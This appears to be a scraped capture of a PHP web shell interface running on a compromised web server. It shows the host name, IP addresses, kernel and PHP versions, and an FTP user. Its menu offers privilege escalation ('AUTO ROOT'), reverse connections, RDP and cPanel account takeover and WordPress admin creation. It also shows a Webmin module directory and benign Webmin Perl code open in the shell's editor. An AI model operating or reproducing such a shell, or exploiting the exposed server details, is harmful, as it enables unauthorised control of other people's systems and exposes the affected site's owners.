Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.28
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
software /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
2.82
KB
-rw-r--r--
aix-lib.pl
19.2
KB
-rwxr-xr-x
apt-lib.pl
14.09
KB
-rwxr-xr-x
apt_upgrade.cgi
1.97
KB
-rwxr-xr-x
cgi_args.pl
524
B
-rwxr-xr-x
close.cgi
263
B
-rwxr-xr-x
config-aix
30
B
-rw-r--r--
config-cobalt-linux
30
B
-rw-r--r--
config-coherent-linux
30
B
-rw-r--r--
config-corel-linux
33
B
-rw-r--r--
config-cygwin
33
B
-rw-r--r--
config-debian-linux
51
B
-rw-r--r--
config-freebsd
54
B
-rw-r--r--
config-freebsd-8.4-ALL
52
B
-rw-r--r--
config-gentoo-linux
33
B
-rw-r--r--
config-hpux
31
B
-rw-r--r--
config-mandrake-linux
30
B
-rw-r--r--
config-msc-linux
30
B
-rw-r--r--
config-netbsd
34
B
-rw-r--r--
config-open-linux
30
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
30
B
-rw-r--r--
config-openbsd
34
B
-rw-r--r--
config-openmamba-linux
48
B
-rw-r--r--
config-openserver
33
B
-rw-r--r--
config-redhat-linux
48
B
-rw-r--r--
config-slackware-linux
36
B
-rw-r--r--
config-solaris
33
B
-rw-r--r--
config-suse-linux
30
B
-rw-r--r--
config-syno-linux
50
B
-rw-r--r--
config-trustix-linux
30
B
-rw-r--r--
config-turbo-linux
30
B
-rw-r--r--
config-united-linux
30
B
-rw-r--r--
config-unixware
33
B
-rw-r--r--
config-windows
30
B
-rw-r--r--
config.info
511
B
-rw-r--r--
config.info.ca
554
B
-rw-r--r--
config.info.cs
372
B
-rw-r--r--
config.info.de
523
B
-rw-r--r--
config.info.es
320
B
-rw-r--r--
config.info.fr
135
B
-rw-r--r--
config.info.ja
428
B
-rw-r--r--
config.info.ko
409
B
-rw-r--r--
config.info.ms
411
B
-rw-r--r--
config.info.nl
415
B
-rw-r--r--
config.info.no
424
B
-rw-r--r--
config.info.pl
392
B
-rw-r--r--
config.info.ru
175
B
-rw-r--r--
config.info.sv
224
B
-rw-r--r--
config.info.tr
123
B
-rw-r--r--
config.info.uk
174
B
-rw-r--r--
config.info.zh
122
B
-rw-r--r--
config.info.zh_TW
125
B
-rw-r--r--
csw-lib.pl
2.69
KB
-rwxr-xr-x
cygwin-lib.pl
22.34
KB
-rwxr-xr-x
debian-lib.pl
6.67
KB
-rwxr-xr-x
delete_file.cgi
239
B
-rwxr-xr-x
delete_pack.cgi
1.46
KB
-rwxr-xr-x
delete_packs.cgi
1.85
KB
-rwxr-xr-x
do_install.cgi
2.67
KB
-rwxr-xr-x
edit_pack.cgi
1.13
KB
-rwxr-xr-x
emerge-lib.pl
7.65
KB
-rwxr-xr-x
file_info.cgi
2.09
KB
-rwxr-xr-x
find.cgi
1.63
KB
-rwxr-xr-x
freebsd-lib.pl
7.95
KB
-rwxr-xr-x
hpux-lib.pl
8.01
KB
-rwxr-xr-x
index.cgi
3
KB
-rwxr-xr-x
install_pack.cgi
4.71
KB
-rwxr-xr-x
ipkg-close.cgi
269
B
-rwxr-xr-x
ipkg-edit_pack.cgi
1.45
KB
-rwxr-xr-x
ipkg-lib.pl
7.78
KB
-rwxr-xr-x
ipkg-open.cgi
243
B
-rwxr-xr-x
ipkg-tree.cgi
4
KB
-rwxr-xr-x
ipkg_upgrade.cgi
926
B
-rwxr-xr-x
list_pack.cgi
1.85
KB
-rwxr-xr-x
log_parser.pl
1.34
KB
-rwxr-xr-x
module.info
484
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
127
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
170
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
216
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
214
B
-rw-r--r--
module.info.ca
116
B
-rw-r--r--
module.info.ca.auto
21
B
-rw-r--r--
module.info.cs
30
B
-rw-r--r--
module.info.cs.auto
114
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
124
B
-rw-r--r--
module.info.de
106
B
-rw-r--r--
module.info.de.auto
21
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
220
B
-rw-r--r--
module.info.es
29
B
-rw-r--r--
module.info.es.auto
106
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
129
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
215
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
130
B
-rw-r--r--
module.info.fr
29
B
-rw-r--r--
module.info.fr.auto
117
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
152
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
138
B
-rw-r--r--
module.info.hu
38
B
-rw-r--r--
module.info.hu.auto
108
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
134
B
-rw-r--r--
module.info.ja
43
B
-rw-r--r--
module.info.ja.auto
157
B
-rw-r--r--
module.info.ko
34
B
-rw-r--r--
module.info.ko.auto
128
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
162
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
151
B
-rw-r--r--
module.info.ms
104
B
-rw-r--r--
module.info.ms.auto
18
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
150
B
-rw-r--r--
module.info.nl
27
B
-rw-r--r--
module.info.nl.auto
104
B
-rw-r--r--
module.info.no
26
B
-rw-r--r--
module.info.no.auto
107
B
-rw-r--r--
module.info.pl
121
B
-rw-r--r--
module.info.pl.auto
21
B
-rw-r--r--
module.info.pt
28
B
-rw-r--r--
module.info.pt.auto
102
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
139
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
134
B
-rw-r--r--
module.info.ru
30
B
-rw-r--r--
module.info.ru.auto
205
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
145
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
132
B
-rw-r--r--
module.info.sv
21
B
-rw-r--r--
module.info.sv.auto
100
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
253
B
-rw-r--r--
module.info.tr
28
B
-rw-r--r--
module.info.tr.auto
107
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
202
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
208
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
144
B
-rw-r--r--
module.info.zh
18
B
-rw-r--r--
module.info.zh.auto
91
B
-rw-r--r--
module.info.zh_TW
24
B
-rw-r--r--
module.info.zh_TW.auto
97
B
-rw-r--r--
msi-lib.pl
8.45
KB
-rwxr-xr-x
open.cgi
238
B
-rwxr-xr-x
openbsd-lib.pl
4.72
KB
-rwxr-xr-x
pkg-lib.pl
2.5
KB
-rw-r--r--
pkgadd-lib.pl
9.97
KB
-rwxr-xr-x
pkgadd-no-ask
164
B
-rw-r--r--
pkgsrc-lib.pl
7.24
KB
-rw-r--r--
ports-lib.pl
3.49
KB
-rw-r--r--
ports_upgrade.cgi
501
B
-rwxr-xr-x
rhn-lib.pl
3.02
KB
-rwxr-xr-x
rhn.cgi
1.3
KB
-rwxr-xr-x
rhn_check.cgi
1.84
KB
-rwxr-xr-x
rpm-lib.pl
11.24
KB
-rwxr-xr-x
rpmfind.cgi
2.11
KB
-rwxr-xr-x
search.cgi
2.27
KB
-rwxr-xr-x
slackware-lib.pl
6.95
KB
-rwxr-xr-x
software-lib.pl
7.57
KB
-rwxr-xr-x
tree.cgi
3.79
KB
-rwxr-xr-x
urpmi-lib.pl
2.14
KB
-rwxr-xr-x
urpmi_upgrade.cgi
839
B
-rwxr-xr-x
view.cgi
931
B
-rwxr-xr-x
yum-lib.pl
12.95
KB
-rwxr-xr-x
yum_upgrade.cgi
908
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : msi-lib.pl
#) msi-lib.pl # Functions for Windows package management $msi_package_logdir = "$module_config_directory/msis"; $sw_discovery_cmd = "$root_directory/SW_Discovery/SW_Discovery.exe"; $has_sw_discovery = -x $sw_discovery_cmd; $no_package_filesearch = 1; sub list_package_system_commands { return ($sw_discovery_cmd); } # list_packages([package]*) # Fills the array %packages with all or listed packages sub list_packages { %packages = ( ); if ($has_sw_discovery) { local %want = map { $_, 1 } @_; open(OUT, "$sw_discovery_cmd |"); local $n = -1; while(<OUT>) { s/\r|\n//g; if (/ID\s*=\s*\{(\S+)\}\s*(\S*)/ || /ID\s*=\s*(.*)/) { $n++; $packages{$n,'name'} = $1; $packages{$n,'arch'} = 'x86'; $packages{$n,'version'} = $2; if (/ID\s*=\s*\{(\S+)\}/) { $packages{$n,'code'} = $1; } else { $packages{$n,'nouninstall'} = 1; } $packages{$n,'nolist'} = 1; } elsif (/Package\s+Name\s*:\s*(.*)/) { if ($packages{$n,'code'}) { $packages{$n,'name'} = $1; } else { $packages{$n,'desc'} = $1; } } elsif (/Version\s*:\s*(.*)/) { $packages{$n,'version'} = $1; } elsif (/Publisher\s*:\s*(.*)/) { $packages{$n,'vendor'} = $1; $packages{$n,'class'} = $1; $packages{$n,'class'} =~ s/(http|https):\/\///g; } elsif (/Location\s*:\s*(\S.*)/) { $packages{$n,'desc'} ||= $1; local @st = stat($1); $packages{$n,'installed'} = $st[9]; } } close(OUT); $n++; # Filter out un-wanted packages, or those with no name for(my $i=0; $i<$n; $i++) { if (%want && !$want{$packages{$i,'name'}} || !$packages{$i,'name'}) { if ($i != $n-1) { foreach my $f ('name', 'code', 'arch', 'version', 'class', 'vendor', 'installed') { $packages{$i,$f} = $packages{$i+1,$f}; } } $i--; $n--; } } return $n; } # Query built-in list of those we know were installed local @pkgs = @_; @pkgs = &list_msi_packages() if (!@pkgs); local $i = 0; foreach my $p (@pkgs) { local $msi = &get_msi_package($p); $packages{$i,'name'} = $msi->{'name'}; $packages{$i,'version'} = $msi->{'version'}; $packages{$i,'desc'} = $msi->{'desc'}; $packages{$i,'nolist'} = 0; $i++; } return $i; } # list_msi_packages() # Returns the names of installed MSI packages (using Webmin) sub list_msi_packages { opendir(DIR, $msi_package_logdir); local @rv = grep { $_ ne "." && $_ ne ".." } readdir(DIR); closedir(DIR); return @rv; } # get_msi_package(name) # Returns a hash containing details of an MSI package sub get_msi_package { local ($pkg) = @_; local %msi; &read_file("$msi_package_logdir/".lc($pkg), \%msi); $msi{'name'} = $pkg; return \%msi; } # save_msi_package(&package) # Updates the local details of an MSI package sub save_msi_package { local ($msi) = @_; &make_dir($msi_package_logdir, 0700); &write_file("$msi_package_logdir/".lc($msi->{'name'}), $msi); } # delete_msi_package(name) # Removes the local details of an MSI package sub delete_msi_package { local ($name) = @_; unlink("$msi_package_logdir/".lc($name)); } # package_info(package, [version]) # Returns an array of package information in the order # name, class, description, arch, version, vendor, installtime, # no-uninstall, no-list sub package_info { local ($name, $ver) = @_; if ($has_sw_discovery) { # Get from total list local %packages; local $n = &list_packages(); for(my $i=0; $i<$n; $i++) { if ($packages{$i,'name'} eq $name && (!$ver || $ver eq $packages{$i,'version'})) { return ($packages{$i,'name'}, $packages{$i,'vendor'}, $packages{$i,'desc'}, $packages{$i,'arch'}, $packages{$i,'version'}, $packages{$i,'vendor'}, $packages{$i,'installed'} ? &make_date($packages{$i,'installed'}) : "Unknown", $packages{$i,'nouninstall'}, $packages{$i,'nolist'}, ); } } return ( ); } else { # Query our savedd DB local $msi = &get_msi_package($name); return ( $msi->{'name'}, $msi->{'class'}, $msi->{'desc'}, $msi->{'arch'}, $msi->{'version'}, $msi->{'vendor'}, &make_date($msi->{'installed'}), $msi->{'code'} ? 1 : 0, 0 ); } } # is_package(file) # Check if some file is a package file sub is_package { local ($file) = @_; return $file =~ /\.msi$/i ? 1 : 0; } # file_packages(file) # Returns a list of all packages in the given file, in the form # package-version description # XXX how to get proper description? sub file_packages { local ($file) = @_; if ($file =~ /([^\/\\]+)\.msi$/i) { local $suffix = $1; $suffix =~ s/_\d.*$//; # For files named like apache_2.x.y... return $suffix; } return ( ); } # install_options(file, package) # Outputs HTML for choosing install options for some package sub install_options { local ($file, $pkg) = @_; print &ui_table_row($text{'msi_users'}, &ui_radio("users", 2, [ [ 0, $text{'msi_users0'} ], [ 1, $text{'msi_users1'} ], [ 2, $text{'msi_users2'} ] ]), 3); } # install_package(file, package, [&inputs]) # Install the given package from the given file, using options from %in. Returns # undef on success or an error message on failure. sub install_package { local ($file, $pkg, $in) = @_; # Run the msiexec command local $temp = &tempname(); $file =~ s/\//\\/g; $temp =~ s/\//\\/g; local @st = stat($file); system("msiexec /i "."e_path($file)." /quiet /norestart ". "/l*vx "."e_path($temp)." >$null_file"); &wait_till_stopped_logging($temp); # Read output from log file local $ok; local %msi = ( 'name' => $pkg, 'arch' => 'x86', # Wrong! 'installed' => time() ); local $fc = 0; open(OUT, "<".$temp); while(<OUT>) { s/\r|\n//g; s/\0//g; # Strip unicode, primitively if (/Product:\s*(.*)\s\-\-.*success/i) { $ok = 1; } elsif (/ProductVersion\s*=\s*(.*)/) { $msi{'version'} = $1; } elsif (/ProductName\s*=\s*(.*)/) { $msi{'desc'} = $1; } elsif (/ProductCode\s*=\s*(.*)/) { $msi{'code'} = $1; } elsif (/Manufacturer\s*=\s*(.*)/) { $msi{'vendor'} = $1; } elsif (/Note:\s+\d+:\s+\d+\s+\d+:\s+([a-z]:.*)/) { $msi{'files_'.$fc} = $1; local @st = stat($1); $msi{'sizes_'.$fc} = $st[7]; $fc++; } } close(OUT); if (!$ok) { return "MSI install failed!"; } &save_msi_package(\%msi); # Make available to users, if requested if ($in->{'users'}) { local $flag = $in->{'users'} == 1 ? "u" : "m"; system("msiexec /j$flag "."e_path($file)." /quiet /norestart ". ">$null_file"); } return undef; } # check_files(package, version) # Fills in the %files array with information about the files belonging # to some package. Values in %files are path type user group size error sub check_files { local ($name, $ver) = @_; local $msi = &get_msi_package($name); local $i; for($i=0; defined($msi->{'files_'.$i}); $i++) { $files{$i,'path'} = $msi->{'files_'.$i}; local @st = stat($files{$i,'path'}); $files{$i,'type'} = -d $files{$i,'path'} ? 1 : 0; $files{$i,'size'} = $msi->{'sizes_'.$i}; if (!@st) { $files{$i,'error'} = $text{'msi_missing'}; } elsif ($files{$i,'size'} ne $st[7]) { $files{$i,'error'} = $text{'msi_size'}; } } return $i; } # delete_options(package) # Outputs HTML for package uninstall options sub delete_options { local ($name) = @_; # None! } # delete_package(package, [&options], version) # Attempt to remove some package sub delete_package { local ($name, $opts, $ver) = @_; # Call the uninstall command local $code; if ($has_sw_discovery) { # Get code form package list local %packages; local $n = &list_packages(); for(my $i=0; $i<$n; $i++) { if ($packages{$i,'name'} eq $name && !$ver || $ver eq $packages{$i,'version'}) { $code = $packages{$i,'code'}; } } $code || &error("Couldn't find install code for $name"); } else { local $msi = &get_msi_package($name); $code = $msi->{'code'}; } local $temp = &tempname(); $temp =~ s/\//\\/g; system("msiexec /x \"$code\" /quiet /norestart ". "/l*vx "."e_path($temp)." >$null_file"); &wait_till_stopped_logging($temp); # Check log for success local $ok = 0; open(LOG, "<".$temp); while(<LOG>) { s/\r|\n//g; s/\0//g; # Strip unicode, primitively if (/Product:\s*(.*)\s\-\-.*success/i) { $ok = 1; } } close(LOG); if (!$ok) { return "MSI uninstall failed"; } # Remove from local info &delete_msi_package($name); return undef; } sub package_system { return "MSI"; } sub package_help { return "msi"; } # wait_till_stopped_logging(file) # Spin until some file has remained untouched for 5 seconds sub wait_till_stopped_logging { local ($file) = @_; while(1) { local @before = stat($file); sleep(5); local @after = stat($file); last if ($before[9] == $after[9]); } } 1;
Close